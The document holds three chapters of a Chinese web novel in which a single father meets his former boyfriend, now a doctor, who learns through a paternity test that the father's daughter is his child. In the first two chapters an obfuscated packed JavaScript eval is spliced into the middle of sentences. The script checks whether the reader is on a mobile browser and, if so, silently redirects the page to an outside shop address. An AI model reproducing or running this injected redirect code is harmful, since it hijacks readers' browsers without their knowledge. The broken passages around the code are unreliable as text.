《分手后挂了前男友的号》 1. 第 1 章 医院。 空气里充斥着消毒液的味道,处处可见医护人员忙碌的身影。 容清抱着容橙坐在候诊室的长椅,紧紧盯着诊室门口大屏幕上的候诊名单。 “爸爸,到我们了吗?”小小的容橙趴在容清的怀里,声音沙哑,因为发烧,整个人都有点迷迷糊糊的。 “快了,下一个就到我们了,橙橙再坚持一会。”容清心疼地摸了摸容橙的头,自责涌上心头,让他忍不住红了眼眶。 容橙是个早产儿,机体免疫力低下,每当换季的时候,因为冷热交替总是容易感冒发烧。 这次也不例外。 哪怕他已经很小心在照顾孩子了,昨天夜里他起身给容橙掖被子的时候才发现她发烧了。 吃过退烧药,容橙的状态好了许多。 但孩子看着还是很难受,所以一大早容清又带着她来医院看病。 “请容橙到一号诊室就诊。” 听到叫号的广播,容清抱着容橙快步来到诊室推开了那扇门,他抱着孩子没注意到正在低头专注敲打着键盘的医生,而是先礼貌地开口打招呼:“医生您好。” 就在他抱着容橙坐下的时候,刚好与此时抬头的医生对上了目光。 在视线交汇的那一刻,两人都怔怔地看着对方。 时间仿佛静止了一般。 容清瞳孔骤缩,呼吸一滞,心脏砰砰直跳。 两人都没有说话,只是沉默地看着对方。 他们都未曾想过,会在这样平平无奇的一天,会在医院,会是以医生和患者的关系重逢。 五年不见,岁月都在彼此身上留下或多或少的印记。 可是仅仅一眼,他们还是认出了对方。 容清抱紧了怀里的容橙,眼里的震惊仿佛要溢出来。 江景盛。 那个占据他整个青春的初恋。 他的前男友。 就这么猝不及防地出现在了他的面前。 此时此刻,他的心脏像是被一只大手捏得死紧,他几乎要喘不过气来。 他曾经想过无数种他们重逢的方式,却没想过这一天来得这么突然。 他还想过,如果再次相见,他应该以怎么样的姿态出现在江景盛面前,或是成熟、事业有成,再遇到江景盛的时候,能从容不迫地面对他。 而不是像现在这样狼狈。 与想象中的轻松自如大大相反,他紧张得连脸色都煞白。 多年未遇见藏在心底的那个人,没有重逢的惊喜,只有惶恐和不安,深深笼罩着他。 如果他知道江景盛在这间医院工作的话,他绝对不会选择出现在这里。 容清眉眼低垂,主动避开了他的目光。 眼底的惊惧不停地在扩散。 江景盛的目光从他的眉眼一路下滑,看着他怀里的容橙,他的眼中闪烁着复杂的情绪,震惊、失望、嘲讽接踵而至。 容清感觉到他的目光,下意识地抱紧了怀里的容橙,心跳如擂鼓般在耳边回荡。 他的脸色比生病的容橙还要苍白几分。 江景盛并没有多说什么,就像是个普通的医生,坐在他前面的是患者而不是前男友,声音像掺着冰,冷漠地开口:“患者的名字。” 冷冰冰的声音与记忆里那道温柔的声音渐渐重合,容清眼眶泛红,强忍着鼻腔的酸涩,调整呼吸,声音微颤:“容橙。” 听到孩子的名字,江景盛还是无法避免地刺痛了下。 他在这短短的几秒钟里,试想过无数种理由。 或许是朋友的孩子,容清只是帮忙照顾,或许他是孩子的老师,或许…… 但她姓“容”。 容清的容。 密密麻麻的刺痛感包裹着他的心脏,江景盛一边在病历档案里输入患者的资料,一边面无表情地开口:“你和患者的关系。” “父女。”容清的声音很轻,但此时此刻的诊室很安静,落针可闻。 这么轻的一句话却像一座大山深深地压在江景盛心里,沉甸甸的。 虽然已经做好了准备,可当听到“父女”两个字时,一向冷静的他,在敲打键盘时,手指都在颤抖,连父女两个字的拼音都无法准确输入。 江景盛深吸一口气,声音艰涩:“患者几岁了?” 容清低着头,攥紧了容橙的小裙子,淡淡开口:“三岁。” 心里那根绷紧的弦线彻底断了,江景盛忍不住露出一抹嘲讽的笑容。 原来他心底里一直念念不忘的前男友,在离开他一年的时间就与其他人结婚生子。 原来一直在原地踏步的只有他自己,深陷痛苦的也只有他自己。 而前男友早在分手之后把他抛之脑后。 只有他活得像个傻子一样,对以前的事揪着不放。 江景盛垂眸敛去眼底的晦涩,淡声道:“孩子怎么了?” “昨天晚上开始发烧,早上吃完早饭我给她喂了退烧药,现在好点了。”容清一边解释,一边心疼地摸了摸容橙的小脑袋,帮她把口罩重新戴好。 “爸爸。”容橙揪着容清的前襟,轻轻喊了他一声。 容清下意识地看了一眼江景盛,手指不自觉地颤抖,紧张得连呼吸都变得急促而不规律。 他心里一阵后怕,还好早上出门的时候给容橙把口罩给戴上了。 因为容清的目光太过戒备和紧张,让江景盛反而觉得有种说不上来的怪异感,他的孩子看起来面色红润,只是生病不舒服困倦而已,而容清反倒是生了一场大病,脸色苍白难看,身形消瘦,双眼透露着极重的疲惫感,仿佛随时都会倒下。 关心的话卡在喉咙里,江景盛咽了下去。 “先带孩子去验个血吧。” 现在是流感病毒的高发期,所有到医院因为发烧看诊的患者都需要先验血看完检查结果再对症下药。 听到验血这个词,容清愣了一下。 江景盛以为他没听清楚,重复了一遍:“到三楼的检验科验个血,拿到报告之后再回来诊室找我。” “好的,谢谢医生。”容清抱着容橙,小声地道谢,拿着江景盛开的单子就要往门外走去。 江景盛的目光落在他的背影,洗得发白的牛仔裤,甚至他身上那件外套还是五年前自己给他买的,还有那双运动鞋是他送给容清十八岁的生日礼物。 他是怎么把自己弄成这样的? 在他走后,江景盛沉默了很久。 秋冬是流感病毒的高发季,来市医院看病的患者特别多,看着检验窗口那一排采血管,容清只能无奈地叹了口气,看来他还得在医院逗留很长一段时间。 容清住在南芜乡,一般发烧感冒都是在乡下医院就诊,偶尔会来市医院这边给容橙取药。 容橙的身体不好,他每年都会定期来市医院给容橙做一次检查然后开点提高免疫力的药。 他从前并没有在医院里见过江景盛,也不知道江景盛原来已经从国外留学回来了。 他坐在候诊室大厅,心不在焉地抱着睡着了的容橙,沉浸在思绪的海洋里,意识慢慢流淌。 看着容橙那张与江景盛八分相似的脸,容清心神不宁。 江景盛应该没有发现什么吧? 他从未想过让容橙暴露在江家任何人的视野之中。 也从未想过什么“认祖归宗”的戏码。 更不想让江景盛发现容橙的存在。 这次的意外,让容清心惊胆战。 他自以为是地躲了江景盛五年。 但讽刺的是,其实江景盛在五年前他们分手的时候就出国了。 从分手的那一刻开始,他们就已经退回到了陌生人的关系。 五年来,从未联系过一次。 容清以为,他们会老死不相往来。 今天意外重逢,也如他想的那般,他们仅仅只是陌生人。 江景盛只是一个普通医生,而他只是来看诊的患者家属。 江景盛也还是他记忆里的模样,清冷矜贵,高不可攀。 他也一样,还是那么的落魄、狼狈,在江景盛面前抬不起头。 他们就像两个世界的人。 原本就是两条无法相交的平行线。 只要江景盛不查,他会永远保守容橙这个秘密。 江景盛将来会有属于自己的家庭,会有与他恩爱的妻子,会有像容橙一样可爱的女儿或者继承他优点的儿子,会有幸福美满的未来。 而他只剩下容橙。 …… …… 在候诊室等了许久才有检查报告结果出来,可是这个时间点医院已经下班了,要等到下午两点半,医生才上班。 容清只能抱着容橙回到候诊室大厅坐着。 “饿不饿?”容清摸了摸容橙的脸,感觉到她的体温正常才放下心来。 容橙摇摇头。 大概是生病难受没什么胃口。 容清怕她饿肚子,还是从包包里拿出一瓶牛奶和一盒饼干,掰开饼干喂她吃了一点点。 “爸爸也吃。”容橙拿起饼干递到容清嘴边。 容清笑了笑,说:“爸爸不饿,橙橙吃吧。” “江医生,今晚下班之后要不要一起聚餐?” “杏姐说了你给她顶的这几天班,她必须得请你吃一顿饭。” “吃完饭,ktv按摩宵夜一条龙?” 江景盛不置可否地笑了笑,抬起头的瞬间,视线不经意间擦过候诊室的大厅,刚好落在坐在角落位置的一对父女身上。 隔着透明的玻璃看去,江景盛看着容清微笑的脸庞,记忆像是排山倒海般翻卷而来。 江景盛不自觉地停下了脚步,看着那温馨的一幕。 心里久久未能平静。 江景盛看了一下手表,现在才十二点四十分,距离下午上班还有将近两个小时。 他刻意放慢了脚步,看着容清,忍不住露出一抹讥讽的笑意。 他没有必要在意容清吃没吃中午饭,也没必要关心一个已经是过去式的人,而且对方已婚已育,说不定人家只是嫌麻烦随便吃点,回家之后还能吃上妻子做的美味大餐。 人家一家三口幸福美满,轮不到他来操心别人过得好不好。 “啧。”江景盛低声骂了一句,踢了一脚路边的小石头,轻叹一口气,随后对一旁同行的医生们说:“你们先回去吧,我还有点事要处理。” 容清刚把容橙哄睡着,打算休息一会,江景盛就来到了他的面前,容清错愕地看着他,微微愣神。 江景盛表情很冷,带着不耐烦的语气开口:“检查报告。” “啊?”容清看着他伸出来的手,愣了几秒才明白他的意思,然后手忙脚乱地从包里翻出那张检查结果轻轻放在了他的手里。 江景盛一边看着报告,一边推开了诊室的门,说:“就是病毒感染引起的发烧,吃两天药就好了。” 现在不是午休时间吗? 他怎么会回来? 容清懵懵懂懂应了声:“好。” “去缴费拿药吧。”江景盛把单子给他,脸上依然是那副冷漠的表情。 容清接过单子,小声地说了句:“谢谢医生。” 听着医生这个词,江景盛觉得莫名地刺耳。 在容清离开诊室之前,江景盛凉薄地看了他一眼,讥笑道:“看来你离开我的这五年,也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14320322|152432||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 并没有过得多好啊。” 容清微微一怔,心脏传来密密麻麻的刺痛感,像是吞了一万根针,他没有大声反驳,没有为自己解释的打算,只是抱紧了怀里的容橙,红着眼眶淡淡地开口:“是啊。” 以前他和江景盛在一起的时候,江景盛很照顾他,哪怕当时他们还小,但衣食住行,面面俱到。 总是担心他吃不饱穿不暖,会每天给他带很多小零食,会照顾他的情绪,还会认真教他学习。 江景盛很疼他。 就好像只要有江景盛在,他的一切都会变得美好顺遂。 所以在跟江景盛分手的很长一段时间里,他都跟个无用的废人一样,连照顾自己都做不好。 因为对江景盛的习惯和依赖,有任何困难他第一个想到的就是江景盛。 在最困难的时候,他想过无数次给江景盛打电话,想告诉他,自己需要他。 可是,江景盛是多么骄傲的一个人啊。 他们再也回不到从前了。 他承认,离开江景盛,他过得确实不好,很不好。 所以,他不想反驳,也没必要反驳。 或许这次意外之后,他们再也没有机会见面了。 江景盛看着他红着的眼眶,喉结滚动,悔意铺天盖地袭来,强忍着拥他入怀的冲动。 那些出口伤人的话,像回旋镖,一枚枚扎进江景盛的心脏。 离开的时候,容清看着诊室的大门,轻声道别:“再见。” 容橙搂着他的脖子,感觉到容清的悲伤,乖乖地待在他的怀里,“爸爸?” 容清吸了吸鼻子,深吸一口气:“爸爸没事,我们回家。” 容橙笑逐颜开:“爸爸,橙橙饿了。” 容清亲昵地蹭了蹭她的脸蛋:“回家爸爸给橙橙做最爱吃的排骨。” 容橙:“爸爸最好了。” 两人的嬉笑声传入江景盛的耳朵,他站在诊室门口,看着容清的背影沉默几秒,随后头也不回地离开了。 他没有回到宿舍,而是来到医院楼梯间的吸烟区,摸出口袋的那包烟,抽了一根又一根,整个楼梯间弥漫着呛人的烟雾。 看着手里的烟,江景盛不禁回想起从前。 那时的容清最不喜欢他抽烟了。 他年少时的叛逆期,口袋里总会放上一包烟,抽着玩。 和容清在一起后,容清总会悄悄地把他的烟换成糖果。 容清每次看到他抽烟的时候总喜欢训他。 江景盛记得那时候,他为了让容清跟自己接吻,欺骗他说是因为自己戒烟会有各种戒断反应。 可是傻乎乎的容清就是信了。 后来他还是把烟戒掉了。 因为容清不喜欢。 容清从小就长得漂亮,青涩单纯,很可爱。 五年过去了,他还是很漂亮,只是经过岁月的沉淀,是另一种成熟的美感。 也还是他喜欢的模样。 准确来说,无论容清还是不是这张脸,江景盛都会在看见他的一刻,怦然心动,欣喜不已。 江景盛把烟头摁灭,吐出一口烟雾。 他有想过,都五年了,或许容清早就结婚了。 哪怕不结婚,也应该有稳定的女朋友。 他们之间早就没可能了。 事实上,也是如此。 楼梯间响起脚步声,路过的护士长闻着呛鼻的烟味皱紧了眉头,看着昏暗光线里,靠在墙上的江景盛,护士长捂着鼻子朝他微微点了点头。 在快要离开的时候,护士长又折了回来,她轻咳一声,楼梯间声控的灯光随之亮起,接着她仔细地打量起江景盛的面容,好奇地开口:“江医生,你今天的患者里面是不是有个小女孩叫容橙的?” 江景盛想起容清怀里那个小女孩,点点头:“怎么了?” 护士长古怪地看了他一眼,想起他是单身,便说道:“是你亲戚家的小朋友?” 江景盛摇摇头,否认道:“不是。” 护士长惊讶道:“啊?我还以为那孩子跟你应该是有什么血缘关系。” 江景盛吐出一口烟雾,淡淡地开口:“可能是跟她妈妈长得比较像吧。” 护士若有所思地点了点头:“这样啊,江医生你应该还是单身吧?” “为什么这么问?”江景盛顿了几秒,一时间不明白她的意思。 护士长解释:“只是觉得那个叫容橙的小孩跟你长得特别像,尤其是她的眉眼跟你简直一模一样,就像是你的模子刻出来的,我当时还愣了下,以为是你家哪个小孩呢。” 听到护士长的话,江景盛瞳孔微微放大,所有思绪在这一刻凝固,整个人僵在原地。 “不过你说不是你家小孩的话,那可能是巧合了,那孩子跟她的爸爸倒是长得不像,反而跟江医生你长得很像呢。”护士长惊讶地感慨道,想起现在的流感高发期,儿科几乎塞满了人,无奈地丢出一句:“那孩子四岁了,应该上幼儿园了吧,幼儿园可是病毒感染交叉的重灾区,她应该是跟别的小朋友互相传染了。” 江景盛如同被雷击中,往事种种在他脑海中浮现,此时此刻他仿佛被抽走了所有力气,嘴唇微张,声音喑哑:“不是三岁吗?” 护士长看着他突然变得难看的脸色有些担忧,刚想上去扶他一把,听到他的话疑惑地开口:“怎么会是三岁?我问过孩子,她自己说的四岁了,是XX年出生的。” 江景盛的身躯猛地一震,直到点燃的烟烧到他的指尖,他才恍惚地清醒过来,像发了疯一样冲上三楼的检验科,找到容橙的采血管,亲自做了一份亲子鉴定。 “符合遗传规律,亲权概率大于0.9999。” 2. 第 2 章 江景盛看着手里这份亲子鉴定久久不能忘怀,他死死地捏着那张鉴定报告,从医院冲了出去,来到附近的车站,四处搜寻着那道熟悉的身影。 人潮汹涌。 却没有他想要找的人。 容清…… 容橙…… 怪不得容清会这么紧张地抱着孩子,怪不得容清看向他的眼神充满了戒备,怪不得容清会说谎。 原来,容橙是他和容清的孩子。 原来在他不知道的时候,容清怀了他的孩子并选择生下来。 当年容清跟他分手,他知道有隐情,却没想到这么深。 如果当初,他没有赌气,而是多花时间去了解容清,事情是不是就不会发展到今天的地步了? 江景盛把那份被他捏得皱巴巴的亲子鉴定重新折叠好,珍重地放在了衣服的口袋里。 他怎么还可能再次放开容清的手。 当年的他弱小无能所以才会让容清迫不得已离开他。 但他不是当年那个十八岁一无所有的毛头小子了。 时隔五年,江景盛再次回到他所谓的家。 江宅。 齐箐悠闲地坐在沙发上看着品牌方给她送上来最新的珠宝款式,管家忽然踉踉跄跄地跑进门来,哆哆嗦嗦地指着门外:“夫人、夫人!” 齐箐皱着眉头瞥了他一眼,斥道:“什么事慌慌张张的?” “是少爷!”管家激动地喊道:“是少爷回来了!” “小盛回来了?!”齐箐噌的一下站起来,惊喜地看向门口,带着满脸的笑容,连忙吩咐道:“快,吩咐厨房,先让他们做几道点心送上来,晚上多做几道少爷爱吃的菜。” “是,我这就去。”管家笑呵呵地应了声。 “欸对了。”齐箐连忙喊住他,说道:“让张妈去把少爷的房间打扫干净。” 看到江景盛回来,整个江家都喜气洋洋的。 毕竟江景盛自从五年前到漂亮国留学之后,就再也没有回过江家。 因为容清的事,江景盛和家里闹翻了,和齐箐的关系更是到了冰点。 分手后,江景盛太过伤神了,几度因为酒精中毒进了医院。 整天待在房间闭门不出,齐箐才知道江景盛竟然用情这么深。 她也知道自己做错了,可是总拉不下面子,两母子一见面就吵架,他们的话题总绕不开容清,每次都是不欢而散。 这么多年,齐箐以为事情也算过去了。结果,江景盛根本没打算回江家,还扬言要和江家断绝关系。 齐箐这才意识到,当年落在江景盛心里的那根刺,从来没被拔出过,甚至越扎越深。 与其这样,当初还不如答应了呢。 也不至于孩子恨上自己。 江景盛带着一身的戾气踏进了这个让他熟悉又陌生的家,管家在第一时间贴心地送上了热毛巾擦手,江景盛掠过他身边,径直地走到齐箐面前,面无表情地看着她:“我们谈谈。” 管家敛了笑意,屏退了其他人。 江景盛的脸色很差,跟五年前那个雨夜一样,让齐箐感到心惊。 她快速地拢了拢思绪,微微笑道:“什么时候回来的?累不累?张妈已经把房间收拾好了,要不要先歇一会?一会吃晚饭的时候我再喊你起来。” 江景盛没有跟她废话的打算,而是直接步入正题:“五年前容清根本没收你给他的一百万对不对?” 齐箐怔了怔,“他收了”这几个字蔓延在嘴边却怎么都无法说出口。 “您想好再告诉我。”江景盛红着眼眶。 “不是真的。”齐箐眼含泪意,声音很轻,夹杂着几分悔恨再度开口:“当年是妈妈骗了你。” 五年前。 当齐箐第一次知道一向乖巧听话的儿子和别的男生纠缠在一起的时候,她是愤怒的,是震惊的,是不可置信的。 她一度认为是对方因为想要高攀上豪门,所以才会对她的儿子死缠烂打。 而且他们江家家大业大,怎么会允许江景盛这个唯一的继承人和一个男人纠缠不清,不管是对家族的子嗣繁衍还是对整个江家在社会地位上而言都是致命的一击。 她也绝对不允许这样的事情发生。 所以当时江景盛为了容清跟家里闹得很僵,她想要安排江景盛出国,断了他的念想,可江景盛拒绝了。 迫于无奈之下,齐箐只好找上了容清。 而那时,齐箐刚好得知容清因为父母双亡欠下一笔不小的债务,所以…… 她想着,容清应该不会拒绝她,至少在那个时候,那个节骨眼上,容清没办法拒绝她。 而容清似乎早就知道她会找上门,所以他整个过程显得很平静,波澜不惊。 他也并没有多说什么,很爽快利落地答应了跟江景盛分手。 甚至对那张支票不为所动,当着她的面,亲手将那张支票撕碎。 “阿姨,关于这一点,我猜您想错了。” “我愿意离开江景盛,并不是因为您这一百万。” “我和江景盛的感情,从来就不是用金钱可以衡量的。” “我只是希望他不用为难。” 也不希望他徘徊在爱人和家庭之间。 这句话容清没有说出口,但他说得已经够多了。 “谢谢你的理解。”齐箐心情复杂地看着他,最后只能挤出这句话来。 容清在临走之前,问了齐箐一个问题:“如果江景盛有私生子女流落在外,你们江家会怎么处理?” 齐箐严肃地看着他说道,带着颇为责怪的口吻:“以我们小盛的为人,怎么会做出这种事情来,关于这一点,我觉得你应该很清楚才对。” 容清无声地笑了笑。 齐箐脸上是止不住的愠怒,但还是保持着温婉的笑容,讽刺道:“即使如你所说的那样,可我们江家也不是什么阿猫阿狗都能进来的。” 也是这次见面之后,容清跟江景盛提出了分手。 “你母亲给了我一百万,我答应了她的条件,和你分手。” “不爱就是不爱了,哪有那么多为什么。” “江景盛,如果当初不是看在你有钱的份上,我根本不会搭理你。” “我就是一个爱慕虚荣的人,所以你把我忘了吧。” “我不想再配合你演戏了,我从来都不觉得自己是gay。” 容清说的话很决绝,也没有给江景盛挽留的机会。 最后的结局,容清消失在茫茫人海,江景盛听从家里的安排出了国。 可当初容清对他说的那番话,他不信,一个字都不信。 他再次去找容清的时候,他已经离开了。 他们彻底失去了联系。 分开之后他偶尔会想起容清说的接受了他母亲的百万分手费,他觉得荒唐至极但又有几分莫名其妙的欣慰,起码在他们分开之后,容清也能过得不错。 他偶尔会希望容清过得好,偶尔也会怨恨他当初那么决绝地离开他的身边。 五年来,爱恨参半。 直到今日在诊室与容清重逢,看着他消瘦的身影和明显拮据的生活,还是让他忍不住心疼。 看着江景盛失魂落魄的模样,齐箐无声地叹了口气。 她也知道纸包不住火,但还是侥幸地以为只要容清不再出现在江景盛面前,这个秘密永远没有揭开的一天,江景盛迟早会回到家里,接受家里的安 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14320323|152432||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 排。 但她错了,不管多少年,也无人能取代容清在江景盛心里面的位置。 齐箐轻:“你遇见他了吗?他跟你说了什么?” “他什么都没说。”江景盛好像从这句话里,得到了所有答案。 齐箐回忆起那天下午,声音淡淡的,缓缓地在江景盛耳边响起。 她把江景盛想知道的一切都告诉了他。 “只是我一直都不明白。”齐箐看向他的目光欲言又止,她不知道为什么容清会在临走前问她关于私生子女的问题,甚至这些年她一直在怀疑江景盛是不是除了容清以外还跟别的女生发生过关系,有流落在外的孩子,但因为这几年和江景盛闹得不愉快,她憋在心里从来没主动提起过这个话题,今天她终于可以问出来了。 她把当年容清问她的那句话复述给江景盛,尴尬又心虚地说道:“我只是跟他说,我们江家不是什么人都进来的。” “他到底为什么要这样问……” 齐箐的话还没说完,江景盛虚晃一下,脸色瞬间变得惨白。 “怎么了?”齐箐被他的反应吓了一大跳,不解地问:“难道我说错了什么吗?还是这中间有什么我不知道的隐情?” 江景盛苦笑,原来当时容清已经知道自己怀孕了。 他甚至不敢想象容清当时是多么的害怕。 他是抱着什么心情决定把他们的孩子生下来的呢? 在分手的那一刻,容清该对他有多失望,所以才会不给他任何挽留的机会。 江景盛无法想象,容清该有多么坚强才能做到这一切。 齐箐看着江景盛一副丢了魂的模样,吓得她连忙说道:“小盛,是妈妈错了,如果你还喜欢容清,妈妈不会再反对了,就算将来没有子嗣也没关系,妈妈只是希望你开心。” “太晚了。”江景盛喃喃道。 “太晚了。” 他重复着这句话,随后跑出门。 “小盛!你去哪里?!” 江景盛趴在方向盘上,泪水模糊了双眼。 他点开通讯录里面唯一保存下来的电话号码拨了过去。 “嘟……” “您拨打的电话号码是空号。” 好像没有意外。 但还是让江景盛心里沉甸甸的。 他忽然想起四年前,他进实验室之前收到容清的电话。 那时候他们已经分开半年多了。 当时的他还有赌气的成分,所以看到这通来电时,犹豫了。 “景盛,实验要开始了。” “好,来了。”江景盛把手机关机放在了储物柜,接着就奔向了实验室。 后来,这通电话不再响起。 他们也彻底地失去了联系。 以至于他有无数个深夜反反复复在思考,当时容清为什么要给他打这通电话。 现在想起来,他一定是有特别重要的事情,才会在把话都说死了的份上还是尝试给他打电话。 后悔的感觉一点一点侵蚀至他的全身,酸涩填满了他整颗心脏。 所以,容清对他失望,甚至是恨他,最后放弃了他。 都是他应得的。 无论是什么原因,错过就是错过了。 南芜乡。 江景盛的车就停在三栋楼下。 这里是一片旧的住宅区,住在这里的老人比较多,所以整个小区很安静。 晚上十点,整个小区黑灯瞎火的。 只有5楼其中一户,还从窗户里散发着暗黄色的灯光。 那是容清的家。 江景盛坐在车里面,吹着凉凉的夜风,抽了一根又一根的烟。 直到灯光熄灭。 3. 第 3 章 清晨六点半。 容清是在一阵嘈杂的声音中醒来的。 小区的老人家们睡得早,起得也早,清晨六点多便起来做早餐,菜板的声音响个不停,七点钟准时到楼下广场打太极、跳广场舞。 生活比年轻人都要自律。 容清困倦地打了个哈欠,窗外的天色还是灰蒙蒙的,一旁的容橙睡得很香,丝毫没有受到外界的影响。 看着她睡得红扑扑的小脸蛋,容清摸了摸她的头,心都要化了。 这是他的小宝贝啊。 容清把闹钟关掉,轻轻关上房门。 他现在住的这套房子很小,是一室一厅的格局,麻雀虽小五脏俱全,配有洗手间厨房阳台,只是面积不大,活动范围也很小,但胜在租金很便宜。 他刚进来的时候,什么都没有,也是房东帮他把家具一点点配齐了,或许是看他可怜,所以租金收得很低,还给当时困难的他介绍了一份工作。 房东还是为数不多知道容橙真实身世的人。 当时他早产,还是房东送他去的医院,还给他垫了不少钱。 如果没有房东,他肯定早就饿死街头了。 更别说房东这么久以来对他们父女俩的照顾,容清感激她的恩情。 在容橙出生之前,容清其实不会做菜,连孕期的时候都是自己随便应付一口,能解决温饱就行,不会要求那么多。 是容橙可以吃辅食之后,容清才开始研究菜谱。 容橙的口味跟他不像,反而更像江景盛,喜欢吃各种面食。 所以容清经常会早起做些饺子包子馄饨之类的面食。 而此时他正在一边揉着面团,一边担心容橙的病。 现在是流感高发期,幼儿园不少小朋友都在生病,交叉感染,导致容橙也跟着反反复复发烧。 “爸爸。”容橙的声音响起,迷迷糊糊地从房间里跑出来,来到容清跟前。 “橙橙醒了啊,爸爸在做早餐。”看到容橙,容清的脸上不自觉地露出一抹笑容。 “爸爸抱抱。”容橙抱着他的腿撒娇。 容清看了看手上的面粉,无奈地笑道:“爸爸手上都是面粉,一会再抱橙橙好不好?” 容橙乖乖地点了点头,安静地坐在旁边,不吵也不闹。 在性格这方面也跟他不像,两者都随了她另一位父亲。 有时候容清也会想,凭什么他生的孩子,更像江景盛。 容清:“橙橙饿了吗?” 容橙点点头。 容清怕孩子挨饿,有些心急,所以在煮汤的时候把手给烫到了,起了几个小水泡,也只是随便用冷水冲洗了下。 他赶时间给容橙洗了把脸,穿好衣服,把饺子端到容橙面前,叮嘱她:“饺子很烫,要吹吹才能吃知道吗?” 容橙糯糯地应了声:“知道了。” 容清把烤好的饼干塞到饭盒里,装上一瓶热牛奶,放好在容橙的书包里,他只来得及吃了几口饺子,就带着容橙出门了,“要乖乖听奶奶的话知道吗?有什么事就给爸爸打电话。” “爸爸我会听话的。”容橙点点头,乖乖地牵着容清的手。 一大一小慢慢走着,容清特地放缓了脚步,让容橙能跟上他的速度,他只顾着和容橙说话,没注意到身旁路过那辆与这个小区格格不入的豪车。 江景盛一夜未眠,静静地坐在车里,像一尊雕塑。 直到看见那一大一小的身影进入了他的视线,江景盛目不转睛地盯着他们的去向。 看着容清脸上那抹淡淡的笑容,江景盛心里压抑得快要喘不过气来。 失去容清这件事反复在提醒着他。 “爸爸今晚可以吃面条吗?” 稚嫩的孩童声音吸引了江景盛的目光,看见容橙的脸,江景盛心跳都仿佛漏了一拍,瞳孔骤缩。 昨天容清带着容橙来看诊的时候,容橙一直戴着口罩,容清有意无意地总是挡着容橙脸,所以他一直没机会看清楚容橙的样子。 直到现在…… 怪不得护士长说,容橙跟他长得很像,他不可能连自己长什么样都不知道。 “当然可以,爸爸今晚给橙橙做鸡丝面好不好?” “谢谢爸爸!” “好了,爸爸就送橙橙到这里啦。”容清按下院子的门铃。 一个年纪稍大的女人打开了门,满脸笑容地对着容橙说道:“让我看看是谁来了?” 容橙礼貌地打着招呼:“奶奶早上好!” 房东:“橙橙早上好呀。” 容清:“那就拜托阿姨了,晚上我早点来接橙橙。” 房东点点头:“行,你去忙吧,橙橙跟爸爸说再见。” “爸爸再见。”容橙朝他挥了挥手。 容清收回了目光,同时也收回了脸上的笑容,他轻轻吐出一口气,拖着疲惫的身躯往花店的方向走去。 花店在小区附近,走过去并不远。 当时他怀着容橙,身体状态很差,可身上的存款连产检都够呛,能在花店工作已经很幸运了。 也是这份简单的工作一直支撑着他的生活。 但是生完容橙之后,需要花钱的地方太多了,刚生完孩子就开始工作,也导致他的身体越来越虚弱。 在最苦的时候,他也曾经想过打掉孩子。 他已经过得够苦了,不想孩子生下来还跟着他一起吃苦。 容橙小时候吃的就是超市买到的便宜奶粉,身上的衣服鞋子还是隔壁邻居家的大姐看他可怜,送给了他很多她家孩子淘汰下来的旧衣服。 也是因为长期的营养不良,四岁的容橙看起来跟三岁的模样差不多。 容清也曾后悔,当时他要是不故作潇洒,接受了齐箐给他的那一百万,起码容橙能吃好穿好,也能得到更好的生活。 而现在,他在为他的意气用事买单。 …… …… 花店开门营业。 江景盛的车就停在门口不远的方向,从这里刚好能透过橱窗看到容清忙碌的身影。 他抽完了最后一根烟,收拾好心情朝花店的方向走去。 听到开门的声音,容清还没抬头看向来人就下意识地喊了句:“欢迎光临,老板想买什么花?” “洋桔梗。” 熟悉的声音传来,容清错愕地抬起头看向门口。 是江景盛。 洋桔梗…… 容清瞳孔微微放大,江景盛……他和昨天很不一样。 昨天他看到的江景盛,冷酷、威严、言辞犀利,给他一种很强烈的压迫感,而今天的江景盛,双眼布满了红血丝,唇边带着一圈新长出来的胡茬,狼狈地出现在他的面前。 四目相对。 容清看着他的模样愣了许久。 江景盛:“我想要一束洋桔梗。” 直到江景盛的声音再度响起,容清这才回过神来,霎时间脸色变得惨白,浑身都在颤栗。 江景盛为什么会出现在这里? 他是不是发现了容橙的身份? 容清呼吸渐渐变得急促起来,看着江景盛的目光带着恐惧,他往后退了一步,下意识地想要逃跑。 江景盛看到他这副受惊的模样,狠狠地拧了下眉,声音放轻,姿态也摆得很低,“今天在南芜乡有义诊,路过花店的时候刚好看见你在这里,所以进来看看而已。” 有义诊是真的,与他无关也是真的。 容清脸色稍缓,但江景盛所解释的话,他是一个字都不信的。 没有这样的巧合。 他以前认识的江景盛很爱干净,每次约会的时候都会把自己收拾得很精致。 绝对不像现在这样不修边幅的模样出现在他面前。 但是既然江景盛都这么说了,他也只能顺着台阶下来,松了松紧绷的神经线,像接待一个普通的客人,强撑一抹微笑:“先生是想送给女朋友吗?” 江景盛立刻回了句:“没有女朋友,也没有男朋友,我目前单身。” 容清微微一顿。 他还以为这五年来,江景盛会接受家里的安排,出国深造,回来之后与门当户对的漂亮千金商业联姻,又或者在这五年,他找到合适的伴侣,目前感情稳定。 江景盛:“我只和你谈过恋爱。” 容清一时间不知道要怎么接他这句话。 他只是随口一问,并不想了解江景盛现在的感情状况,也不感兴趣,所以江景盛也没必要跟他说得这么清楚。 他沉默地装束着江景盛要的洋桔梗。 花店里有很多花,可江景盛偏偏要的是洋桔梗。 他不明白江景盛为什么会来找他,也不明白他为什么偏偏要买洋桔梗。 